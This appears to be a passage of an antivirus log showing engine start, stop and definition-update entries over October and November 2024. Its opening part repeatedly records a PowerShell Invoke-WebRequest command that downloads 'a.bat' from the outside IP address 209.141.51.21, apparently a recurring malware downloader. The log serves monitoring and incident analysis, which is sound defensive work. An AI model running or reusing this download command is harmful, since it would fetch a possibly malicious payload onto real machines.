'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 08:43:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 08:43:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 09:33:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 09:33:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 10:23:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 10:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 11:13:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 11:13:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 12:03:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 12:03:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 23:41:40 AVAVER: 21.2.2455 AR2: 240830 defs: 24100404 2024-10-05 23:41:40 ARPOT2: Start 3244 2024-10-05 23:41:40 AR2CFG: 240830 2024-10-05 23:41:40 AR2DEV: Start 1 Driver: 210305 2024-10-05 23:42:32 AR2DEV: Stopped 1 2024-10-05 23:42:32 AVAVER: 21.2.2455 AR2: 240830 defs: 24100502 2024-10-05 23:42:32 ARPOT2: Start 2128 2024-10-05 23:42:32 AR2CFG: 240830 2024-10-05 23:42:32 AR2DEV: Start 1 Driver: 210305 2024-10-05 23:42:36 AR2DEV: Stopped 1 2024-10-05 23:42:36 AVAVER: 21.2.2455 AR2: 240830 defs: 24100502 2024-10-05 23:42:36 ARPOT2: Start 5824 2024-10-05 23:42:36 AR2CFG: 240830 2024-10-05 23:42:36 AR2DEV: Start 1 Driver: 210305 2024-10-06 03:44:13 AR2DEV: Stopped 1 2024-10-06 03:44:13 AVAVER: 21.2.2455 AR2: 240830 defs: 24100504 2024-10-06 03:44:13 ARPOT2: Start 4688 2024-10-06 03:44:13 AR2CFG: 240830 2024-10-06 03:44:13 AR2DEV: Start 1 Driver: 210305 2024-10-06 03:44:13 AR2DEV: Stopped 1 2024-10-06 03:44:13 AVAVER: 21.2.2455 AR2: 240830 defs: 24100504 2024-10-06 03:44:13 ARPOT2: Start 5396 2024-10-06 03:44:13 AR2CFG: 240830 2024-10-06 03:44:13 AR2DEV: Start 1 Driver: 210305 2024-10-06 13:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 14:10:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 15:00:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 15:50:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 16:40:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 17:30:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-06 23:42:52 AVAVER: 21.2.2455 AR2: 240830 defs: 24100602 2024-10-06 23:42:52 ARPOT2: Start 5568 2024-10-06 23:42:52 AR2CFG: 240830 2024-10-06 23:42:52 AR2DEV: Start 1 Driver: 210305 2024-10-07 03:43:41 AR2DEV: Stopped 1 2024-10-07 03:43:41 AVAVER: 21.2.2455 AR2: 240830 defs: 24100604 2024-10-07 03:43:41 ARPOT2: Start 7372 2024-10-07 03:43:41 AR2CFG: 240830 2024-10-07 03:43:41 AR2DEV: Start 1 Driver: 210305 2024-10-07 03:43:42 AR2DEV: Stopped 1 2024-10-07 03:43:42 AVAVER: 21.2.2455 AR2: 240830 defs: 24100604 2024-10-07 03:43:42 ARPOT2: Start 1820 2024-10-07 03:43:42 AR2CFG: 240830 2024-10-07 03:43:42 AR2DEV: Start 1 Driver: 210305 2024-10-07 15:45:09 AR2DEV: Stopped 1 2024-10-07 15:45:09 AVAVER: 21.2.2455 AR2: 240830 defs: 24100702 2024-10-07 15:45:09 ARPOT2: Start 7884 2024-10-07 15:45:09 AR2CFG: 240830 2024-10-07 15:45:09 AR2DEV: Start 1 Driver: 210305 2024-10-07 15:45:09 AR2DEV: Stopped 1 2024-10-07 15:45:09 AVAVER: 21.2.2455 AR2: 240830 defs: 24100702 2024-10-07 15:45:09 ARPOT2: Start 4808 2024-10-07 15:45:09 AR2CFG: 240830 2024-10-07 15:45:09 AR2DEV: Start 1 Driver: 210305 2024-10-07 19:46:23 AR2DEV: Stopped 1 2024-10-07 19:46:23 AVAVER: 21.2.2455 AR2: 240830 defs: 24100704 2024-10-07 19:46:23 ARPOT2: Start 1880 2024-10-07 19:46:23 AR2CFG: 240830 2024-10-07 19:46:23 AR2DEV: Start 1 Driver: 210305 2024-10-07 19:46:23 AR2DEV: Stopped 1 2024-10-07 19:46:23 AVAVER: 21.2.2455 AR2: 240830 defs: 24100704 2024-10-07 19:46:23 ARPOT2: Start 6260 2024-10-07 19:46:23 AR2CFG: 240830 2024-10-07 19:46:23 AR2DEV: Start 1 Driver: 210305 2024-10-07 23:43:47 AVAVER: 21.2.2455 AR2: 240830 defs: 24100704 2024-10-07 23:43:47 ARPOT2: Start 7004 2024-10-07 23:43:47 AR2CFG: 240830 2024-10-07 23:43:47 AR2DEV: Start 1 Driver: 210305 2024-10-08 03:44:29 AR2DEV: Stopped 1 2024-10-08 03:44:29 AVAVER: 21.2.2455 AR2: 240830 defs: 24100706 2024-10-08 03:44:29 ARPOT2: Start 3880 2024-10-08 03:44:29 AR2CFG: 240830 2024-10-08 03:44:29 AR2DEV: Start 1 Driver: 210305 2024-10-08 03:44:29 AR2DEV: Stopped 1 2024-10-08 03:44:29 AVAVER: 21.2.2455 AR2: 240830 defs: 24100706 2024-10-08 03:44:29 ARPOT2: Start 6860 2024-10-08 03:44:29 AR2CFG: 240830 2024-10-08 03:44:29 AR2DEV: Start 1 Driver: 210305 2024-10-08 19:46:01 AR2DEV: Stopped 1 2024-10-08 19:46:01 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-08 19:46:01 ARPOT2: Start 6008 2024-10-08 19:46:01 AR2CFG: 240830 2024-10-08 19:46:01 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-08 19:46:01 ARPOT2: Start 4296 2024-10-08 19:46:01 AR2CFG: 240830 2024-10-08 19:46:01 AR2DEV: Start 1 Driver: 210305 2024-10-08 23:44:49 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-08 23:44:49 ARPOT2: Start 4564 2024-10-08 23:44:49 AR2CFG: 240830 2024-10-08 23:44:49 AR2DEV: Start 1 Driver: 210305 2024-10-09 23:45:02 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-09 23:45:02 ARPOT2: Start 8108 2024-10-09 23:45:02 AR2CFG: 240830 2024-10-09 23:45:02 AR2DEV: Start 1 Driver: 210305 2024-10-10 23:45:10 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-10 23:45:10 ARPOT2: Start 7524 2024-10-10 23:45:10 AR2CFG: 240830 2024-10-10 23:45:10 AR2DEV: Start 1 Driver: 210305 2024-10-11 23:45:19 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-11 23:45:19 ARPOT2: Start 4012 2024-10-11 23:45:19 AR2CFG: 240830 2024-10-11 23:45:19 AR2DEV: Start 1 Driver: 210305 2024-10-12 23:45:27 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-12 23:45:27 ARPOT2: Start 7776 2024-10-12 23:45:27 AR2CFG: 240830 2024-10-12 23:45:27 AR2DEV: Start 1 Driver: 210305 2024-10-13 16:45:11 AR2DEV: Stopped 1 2024-10-13 16:46:09 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-13 16:46:09 ARPOT2: Start 2212 2024-10-13 16:55:25 AR2CFG: 240830 2024-10-13 16:55:25 AR2DEV: Start 1 Driver: 210305 2024-10-13 23:46:16 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-13 23:46:16 ARPOT2: Start 2724 2024-10-13 23:46:16 AR2CFG: 240830 2024-10-13 23:46:16 AR2DEV: Start 1 Driver: 210305 2024-10-14 23:46:24 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-14 23:46:24 ARPOT2: Start 3740 2024-10-14 23:46:24 AR2CFG: 240830 2024-10-14 23:46:24 AR2DEV: Start 1 Driver: 210305 2024-10-15 23:46:32 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-15 23:46:32 ARPOT2: Start 5496 2024-10-15 23:46:32 AR2CFG: 240830 2024-10-15 23:46:32 AR2DEV: Start 1 Driver: 210305 2024-10-16 23:46:41 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-16 23:46:41 ARPOT2: Start 1456 2024-10-16 23:46:41 AR2CFG: 240830 2024-10-16 23:46:41 AR2DEV: Start 1 Driver: 210305 2024-10-17 23:46:49 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-17 23:46:49 ARPOT2: Start 5496 2024-10-17 23:46:49 AR2CFG: 240830 2024-10-17 23:46:49 AR2DEV: Start 1 Driver: 210305 2024-10-18 23:46:57 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-18 23:46:57 ARPOT2: Start 1748 2024-10-18 23:46:57 AR2CFG: 240830 2024-10-18 23:46:57 AR2DEV: Start 1 Driver: 210305 2024-10-19 23:47:06 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-19 23:47:06 ARPOT2: Start 3536 2024-10-19 23:47:06 AR2CFG: 240830 2024-10-19 23:47:06 AR2DEV: Start 1 Driver: 210305 2024-10-20 23:47:14 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-20 23:47:14 ARPOT2: Start 3392 2024-10-20 23:47:14 AR2CFG: 240830 2024-10-20 23:47:14 AR2DEV: Start 1 Driver: 210305 2024-10-21 23:47:22 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-21 23:47:22 ARPOT2: Start 6076 2024-10-21 23:47:22 AR2CFG: 240830 2024-10-21 23:47:22 AR2DEV: Start 1 Driver: 210305 2024-10-22 23:47:31 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-22 23:47:31 ARPOT2: Start 5856 2024-10-22 23:47:31 AR2CFG: 240830 2024-10-22 23:47:31 AR2DEV: Start 1 Driver: 210305 2024-10-23 23:47:39 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-23 23:47:39 ARPOT2: Start 4084 2024-10-23 23:47:39 AR2CFG: 240830 2024-10-23 23:47:39 AR2DEV: Start 1 Driver: 210305 2024-10-24 23:47:47 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-24 23:47:47 ARPOT2: Start 4964 2024-10-24 23:47:47 AR2CFG: 240830 2024-10-24 23:47:47 AR2DEV: Start 1 Driver: 210305 2024-10-25 23:47:56 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-25 23:47:56 ARPOT2: Start 3176 2024-10-25 23:47:56 AR2CFG: 240830 2024-10-25 23:47:56 AR2DEV: Start 1 Driver: 210305 2024-10-26 23:48:04 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-26 23:48:04 ARPOT2: Start 3600 2024-10-26 23:48:04 AR2CFG: 240830 2024-10-26 23:48:04 AR2DEV: Start 1 Driver: 210305 2024-10-27 23:48:12 AVAVER: 21.2.2455 AR2: 240830 defs: 24100802 2024-10-27 23:48:12 ARPOT2: Start 1228 2024-10-27 23:48:12 AR2CFG: 240830 2024-10-27 23:48:12 AR2DEV: Start 1 Driver: 210305 2024-10-28 20:09:59 AR2DEV: Stopped 1 2024-10-28 20:10:00 AVAVER: 21.2.2455 AR2: 240830 defs: 24102804 2024-10-28 20:10:00 ARPOT2: Start 5324 2024-10-28 20:10:00 AR2CFG: 240830 2024-10-28 20:10:00 AR2DEV: Start 1 Driver: 210305 2024-10-28 20:10:00 AR2DEV: Stopped 1 2024-10-28 20:10:00 AVAVER: 21.2.2455 AR2: 240830 defs: 24102804 2024-10-28 20:10:00 ARPOT2: Start 1512 2024-10-28 20:10:00 AR2CFG: 240830 2024-10-28 20:10:00 AR2DEV: Start 1 Driver: 210305 2024-10-28 23:59:08 AVAVER: 21.2.2455 AR2: 240830 defs: 24102804 2024-10-28 23:59:08 ARPOT2: Start 3904 2024-10-28 23:59:08 AR2CFG: 240830 2024-10-28 23:59:08 AR2DEV: Start 1 Driver: 210305 2024-10-29 03:59:50 AR2DEV: Stopped 1 2024-10-29 03:59:50 AVAVER: 21.2.2455 AR2: 240830 defs: 24102806 2024-10-29 03:59:50 ARPOT2: Start 528 2024-10-29 03:59:50 AR2CFG: 240830 2024-10-29 03:59:50 AR2DEV: Start 1 Driver: 210305 2024-10-29 03:59:50 AR2DEV: Stopped 1 2024-10-29 03:59:50 AVAVER: 21.2.2455 AR2: 240830 defs: 24102806 2024-10-29 03:59:50 ARPOT2: Start 3704 2024-10-29 03:59:50 AR2CFG: 240830 2024-10-29 03:59:50 AR2DEV: Start 1 Driver: 210305 2024-10-29 20:01:33 AR2DEV: Stopped 1 2024-10-29 20:01:33 AVAVER: 21.2.2455 AR2: 240830 defs: 24102900 2024-10-29 20:01:33 ARPOT2: Start 5544 2024-10-29 20:01:33 AR2CFG: 240830 2024-10-29 20:01:33 AR2DEV: Start 1 Driver: 210305 2024-10-29 20:01:33 AR2DEV: Stopped 1 2024-10-29 20:01:33 AVAVER: 21.2.2455 AR2: 240830 defs: 24102900 2024-10-29 20:01:33 ARPOT2: Start 3184 2024-10-29 20:01:33 AR2CFG: 240830 2024-10-29 20:01:33 AR2DEV: Start 1 Driver: 210305 2024-10-30 00:00:18 AVAVER: 21.2.2455 AR2: 240830 defs: 24102900 2024-10-30 00:00:18 ARPOT2: Start 1480 2024-10-30 00:00:18 AR2CFG: 240830 2024-10-30 00:00:18 AR2DEV: Start 1 Driver: 210305 2024-10-30 00:00:47 AR2DEV: Stopped 1 2024-10-30 00:00:47 AVAVER: 21.2.2455 AR2: 240830 defs: 24102902 2024-10-30 00:00:47 ARPOT2: Start 5580 2024-10-30 00:00:47 AR2CFG: 240830 2024-10-30 00:00:47 AR2DEV: Start 1 Driver: 210305 2024-10-30 00:00:47 AR2DEV: Stopped 1 2024-10-30 00:00:47 AVAVER: 21.2.2455 AR2: 240830 defs: 24102902 2024-10-30 00:00:47 ARPOT2: Start 1668 2024-10-30 00:00:47 AR2CFG: 240830 2024-10-30 00:00:47 AR2DEV: Start 1 Driver: 210305 2024-10-30 04:01:52 AR2DEV: Stopped 1 2024-10-30 04:01:52 AVAVER: 21.2.2455 AR2: 241023 defs: 24102904 2024-10-30 04:01:52 ARPOT2: Start 3852 2024-10-30 04:01:52 AR2CFG: 241004 2024-10-30 04:01:52 AR2DEV: Start 1 Driver: 210305 2024-10-30 04:01:52 AR2DEV: Stopped 1 2024-10-30 04:01:52 AVAVER: 21.2.2455 AR2: 241023 defs: 24102904 2024-10-30 04:01:52 ARPOT2: Start 5148 2024-10-30 04:01:52 AR2CFG: 241004 2024-10-30 04:01:52 AR2DEV: Start 1 Driver: 210305 2024-10-30 16:03:06 AR2DEV: Stopped 1 2024-10-30 16:03:06 AVAVER: 21.2.2455 AR2: 241023 defs: 24103000 2024-10-30 16:03:06 ARPOT2: Start 5708 2024-10-30 16:03:06 AR2CFG: 241004 2024-10-30 16:03:06 AR2DEV: Start 1 Driver: 210305 2024-10-30 16:03:07 AR2DEV: Stopped 1 2024-10-30 16:03:07 AVAVER: 21.2.2455 AR2: 241023 defs: 24103000 2024-10-30 16:03:07 ARPOT2: Start 4964 2024-10-30 16:03:07 AR2CFG: 241004 2024-10-30 16:03:07 AR2DEV: Start 1 Driver: 210305 2024-10-30 20:04:18 AR2DEV: Stopped 1 2024-10-30 20:04:18 AVAVER: 21.2.2455 AR2: 241023 defs: 24103002 2024-10-30 20:04:18 ARPOT2: Start 1824 2024-10-30 20:04:18 AR2CFG: 241004 2024-10-30 20:04:18 AR2DEV: Start 1 Driver: 210305 2024-10-30 20:04:18 AR2DEV: Stopped 1 2024-10-30 20:04:18 AVAVER: 21.2.2455 AR2: 241023 defs: 24103002 2024-10-30 20:04:18 ARPOT2: Start 3104 2024-10-30 20:04:18 AR2CFG: 241004 2024-10-30 20:04:18 AR2DEV: Start 1 Driver: 210305 2024-10-30 20:35:19 AVAVER: 21.2.2455 AR2: 241023 defs: 24103002 2024-10-30 20:35:19 ARPOT2: Start 2800 2024-10-30 20:35:19 AR2CFG: 241004 2024-10-30 20:35:19 AR2DEV: Start 1 Driver: 210305 2024-10-31 00:07:00 AVAVER: 21.2.2455 AR2: 241023 defs: 24103002 2024-10-31 00:07:00 ARPOT2: Start 1688 2024-10-31 00:07:00 AR2CFG: 241004 2024-10-31 00:07:00 AR2DEV: Start 1 Driver: 210305 2024-10-31 04:07:59 AR2DEV: Stopped 1 2024-10-31 04:07:59 AVAVER: 21.2.2455 AR2: 241023 defs: 24103004 2024-10-31 04:07:59 ARPOT2: Start 3132 2024-10-31 04:07:59 AR2CFG: 241004 2024-10-31 04:07:59 AR2DEV: Start 1 Driver: 210305 2024-10-31 04:07:59 AR2DEV: Stopped 1 2024-10-31 04:07:59 AVAVER: 21.2.2455 AR2: 241023 defs: 24103004 2024-10-31 04:07:59 ARPOT2: Start 4136 2024-10-31 04:07:59 AR2CFG: 241004 2024-10-31 04:07:59 AR2DEV: Start 1 Driver: 210305 2024-10-31 08:09:13 AR2DEV: Stopped 1 2024-10-31 08:09:13 AVAVER: 21.2.2455 AR2: 241023 defs: 24103006 2024-10-31 08:09:13 ARPOT2: Start 6064 2024-10-31 08:09:13 AR2CFG: 241004 2024-10-31 08:09:13 AR2DEV: Start 1 Driver: 210305 2024-10-31 08:09:13 AR2DEV: Stopped 1 2024-10-31 08:09:13 AVAVER: 21.2.2455 AR2: 241023 defs: 24103006 2024-10-31 08:09:13 ARPOT2: Start 5520 2024-10-31 08:09:13 AR2CFG: 241004 2024-10-31 08:09:13 AR2DEV: Start 1 Driver: 210305 2024-10-31 16:10:19 AR2DEV: Stopped 1 2024-10-31 16:10:19 AVAVER: 21.2.2455 AR2: 241023 defs: 24103100 2024-10-31 16:10:19 ARPOT2: Start 568 2024-10-31 16:10:19 AR2CFG: 241004 2024-10-31 16:10:19 AR2DEV: Start 1 Driver: 210305 2024-10-31 16:10:19 AR2DEV: Stopped 1 2024-10-31 16:10:19 AVAVER: 21.2.2455 AR2: 241023 defs: 24103100 2024-10-31 16:10:19 ARPOT2: Start 2264 2024-10-31 16:10:19 AR2CFG: 241004 2024-10-31 16:10:19 AR2DEV: Start 1 Driver: 210305 2024-10-31 20:11:16 AR2DEV: Stopped 1 2024-10-31 20:11:16 AVAVER: 21.2.2455 AR2: 241023 defs: 24103102 2024-10-31 20:11:16 ARPOT2: Start 1988 2024-10-31 20:11:16 AR2CFG: 241004 2024-10-31 20:11:16 AR2DEV: Start 1 Driver: 210305 2024-10-31 20:11:16 AR2DEV: Stopped 1 2024-10-31 20:11:16 AVAVER: 21.2.2455 AR2: 241023 defs: 24103102 2024-10-31 20:11:16 ARPOT2: Start 4020 2024-10-31 20:11:16 AR2CFG: 241004 2024-10-31 20:11:16 AR2DEV: Start 1 Driver: 210305 2024-11-01 00:08:01 AVAVER: 21.2.2455 AR2: 241023 defs: 24103102 2024-11-01 00:08:01 ARPOT2: Start 5824 2024-11-01 00:08:01 AR2CFG: 241004 2024-11-01 00:08:01 AR2DEV: Start 1 Driver: 210305 2024-11-02 00:15:15 AVAVER: 21.2.2455 AR2: 241023 defs: 24103102 2024-11-02 00:15:15 ARPOT2: Start 5852 2024-11-02 00:15:15 AR2CFG: 241004 2024-11-02 00:15:15 AR2DEV: Start 1 Driver: 210305 2024-11-02 00:15:56 AR2DEV: Stopped 1 2024-11-02 00:15:56 AVAVER: 21.2.2455 AR2: 241023 defs: 24110102 2024-11-02 00:15:56 ARPOT2: Start 4136 2024-11-02 00:15:56 AR2CFG: 241004 2024-11-02 00:15:56 AR2DEV: Start 1 Driver: 210305 2024-11-02 00:15:56 AR2DEV: Stopped 1 2024-11-02 00:15:56 AVAVER: 21.2.2455 AR2: 241023 defs: 24110102 2024-11-02 00:15:56 ARPOT2: Start 3112 2024-11-02 00:15:56 AR2CFG: 241004 2024-11-02 00:15:57 AR2DEV: Start 1 Driver: 210305 2024-11-02 04:17:25 AR2DEV: Stopped 1 2024-11-02 04:17:25 AVAVER: 21.2.2455 AR2: 241023 defs: 24110104 2024-11-02 04:17:25 ARPOT2: Start 2188 2024-11-02 04:17:25 AR2CFG: 241004 2024-11-02 04:17:25 AR2DEV: Start 1 Driver: 210305 2024-11-02 04:17:25 AR2DEV: Stopped 1 2024-11-02 04:17:25 AVAVER: 21.2.2455 AR2: 241023 defs: 24110104 2024-11-02 04:17:25 ARPOT2: Start 6092 2024-11-02 04:17:25 AR2CFG: 241004 2024-11-02 04:17:25 AR2DEV: Start 1 Driver: 210305 2024-11-02 16:18:41 AR2DEV: Stopped 1 2024-11-02 16:18:41 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-02 16:18:41 ARPOT2: Start 4876 2024-11-02 16:18:41 AR2CFG: 241004 2024-11-02 16:18:41 AR2DEV: Start 1 Driver: 210305 2024-11-02 16:18:41 AR2DEV: Stopped 1 2024-11-02 16:18:41 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-02 16:18:41 ARPOT2: Start 4988 2024-11-02 16:18:41 AR2CFG: 241004 2024-11-02 16:18:41 AR2DEV: Start 1 Driver: 210305 2024-11-03 00:16:20 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-03 00:16:20 ARPOT2: Start 1192 2024-11-03 00:16:20 AR2CFG: 241004 2024-11-03 00:16:20 AR2DEV: Start 1 Driver: 210305 2024-11-03 21:16:52 AR2DEV: Stopped 1 2024-11-03 21:17:45 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-03 21:17:46 ARPOT2: Start 2388 2024-11-03 21:27:07 AR2CFG: 241004 2024-11-03 21:27:07 AR2DEV: Start 1 Driver: 210305 2024-11-04 00:18:59 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-04 00:18:59 ARPOT2: Start 5040 2024-11-04 00:18:59 AR2CFG: 241004 2024-11-04 00:18:59 AR2DEV: Start 1 Driver: 210305 2024-11-04 00:33:44 AR2DEV: Stopped 1 2024-11-04 00:34:31 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-04 00:34:31 ARPOT2: Start 2096 2024-11-04 00:44:55 AVAVER: 21.2.2455 AR2: 241023 defs: 24110200 2024-11-04 00:44:55 ARPOT2: Start 2060 2024-11-04 00:54:17 AR2CFG: 241004 2024-11-04 00:54:17 AR2DEV: Start 1 Driver: 210305 2024-11-04 08:45:49 AR2DEV: Stopped 1 2024-11-04 08:45:49 AVAVER: 21.2.2455 AR2: 241023 defs: 24110306 2024-11-04 08:45:49 ARPOT2: Start 3452 2024-11-04 08:45:49 AR2CFG: 241004 2024-11-04 08:45:49 AR2DEV: Start 1 Driver: 210305 2024-11-04 08:45:51 AR2DEV: Stopped 1 2024-11-04 08:45:51 AVAVER: 21.2.2455 AR2: 241023 defs: 24110306 2024-11-04 08:45:51 ARPOT2: Start 3504 2024-11-04 08:45:51 AR2CFG: 241004 2024-11-04 08:45:51 AR2DEV: Start 1 Driver: 210305 2024-11-05 00:26:11 AVAVER: 21.2.2455 AR2: 241023 defs: 24110306 2024-11-05 00:26:11 ARPOT2: Start 3684 2024-11-05 00:26:11 AR2CFG: 241004 2024-11-05 00:26:11 AR2DEV: Start 1 Driver: 210305 2024-11-06 00:27:36 AVAVER: 21.2.2455 AR2: 241023 defs: 24110306 2024-11-06 00:27:36 ARPOT2: Start 3372 2024-11-06 00:27:36 AR2CFG: 241004 2024-11-06 00:27:36 AR2DEV: Start 1 Driver: 210305 2024-11-06 04:28:17 AR2DEV: Stopped 1 2024-11-06 04:28:17 AVAVER: 21.2.2455 AR2: 241023 defs: 24110514 2024-11-06 04:28:17 ARPOT2: Start 3388 2024-11-06 04:28:17 AR2CFG: 241004 2024-11-06 04:28:17 AR2DEV: Start 1 Driver: 210305 2024-11-06 04:28:17 AR2DEV: Stopped 1 2024-11-06 04:28:17 AVAVER: 21.2.2455 AR2: 241023 defs: 24110514 2024-11-06 04:28:17 ARPOT2: Start 1844 2024-11-06 04:28:17 AR2CFG: 241004 2024-11-06 04:28:17 AR2DEV: Start 1 Driver: 210305 2024-11-06 20:49:54 AR2DEV: Stopped 1 2024-11-06 20:49:54 AVAVER: 21.2.2455 AR2: 241023 defs: 24110604 2024-11-06 20:49:54 ARPOT2: Start 556 2024-11-06 20:49:54 AR2CFG: 241004 2024-11-06 20:49:54 AR2DEV: Start 1 Driver: 210305 2024-11-06 20:49:54 AR2DEV: Stopped 1 2024-11-06 20:49:54 AVAVER: 21.2.2455 AR2: 241023 defs: 24110604 2024-11-06 20:49:54 ARPOT2: Start 1392 2024-11-06 20:49:54 AR2CFG: 241004 2024-11-06 20:49:54 AR2DEV: Start 1 Driver: 210305 2024-11-07 00:28:45 AVAVER: 21.2.2455 AR2: 241023 defs: 24110604 2024-11-07 00:28:45 ARPOT2: Start 2172 2024-11-07 00:28:45 AR2CFG: 241004 2024-11-07 00:28:45 AR2DEV: Start 1 Driver: 210305 2024-11-07 22:41:46 AR2DEV: Stopped 1 2024-11-07 22:42:32 AVAVER: 21.2.2455 AR2: 241023 defs: 24110604 2024-11-07 22:42:32 ARPOT2: Start 2108 2024-11-07 22:43:20 AVAVER: 21.2.2455 AR2: 241023 defs: 24110700 2024-11-07 22:43:20 ARPOT2: Start 2024 2024-11-07 22:43:21 AVAVER: 21.2.2455 AR2: 241023 defs: 24110700 2024-11-07 22:43:21 ARPOT2: Start 1604 2024-11-07 22:47:55 AVAVER: 21.2.2455 AR2: 241023 defs: 24110700 2024-11-07 22:47:55 ARPOT2: Start 2844 2024-11-07 22:57:19 AR2CFG: 241004 2024-11-07 22:57:19 AR2DEV: Start 1 Driver: 210305 2024-11-08 00:28:57 AVAVER: 21.2.2455 AR2: 241023 defs: 24110700 2024-11-08 00:28:57 ARPOT2: Start 3808 2024-11-08 00:28:57 AR2CFG: 241004 2024-11-08 00:28:57 AR2DEV: Start 1 Driver: 210305 2024-11-08 04:29:33 AR2DEV: Stopped 1 2024-11-08 04:29:33 AVAVER: 21.2.2455 AR2: 241023 defs: 24110706 2024-11-08 04:29:33 ARPOT2: Start 1016 2024-11-08 04:29:33 AR2CFG: 241004 2024-11-08 04:29:33 AR2DEV: Start 1 Driver: 210305 2024-11-08 04:29:33 AR2DEV: Stopped 1 2024-11-08 04:29:33 AVAVER: 21.2.2455 AR2: 241023 defs: 24110706 2024-11-08 04:29:33 ARPOT2: Start 1608 2024-11-08 04:29:33 AR2CFG: 241004 2024-11-08 04:29:33 AR2DEV: Start 1 Driver: 210305 2024-11-08 08:30:47 AR2DEV: Stopped 1 2024-11-08 08:30:47 AVAVER: 21.2.2455 AR2: 241023 defs: 24110708 2024-11-08 08:30:47 ARPOT2: Start 5276 2024-11-08 08:30:47 AR2CFG: 241004 2024-11-08 08:30:47 AR2DEV: Start 1 Driver: 210305 2024-11-08 08:30:47 AR2DEV: Stopped 1 2024-11-08 08:30:47 AVAVER: 21.2.2455 AR2: 241023 defs: 24110708 2024-11-08 08:30:47 ARPOT2: Start 4068 2024-11-08 08:30:47 AR2CFG: 241004 2024-11-08 08:30:47 AR2DEV: Start 1 Driver: 210305 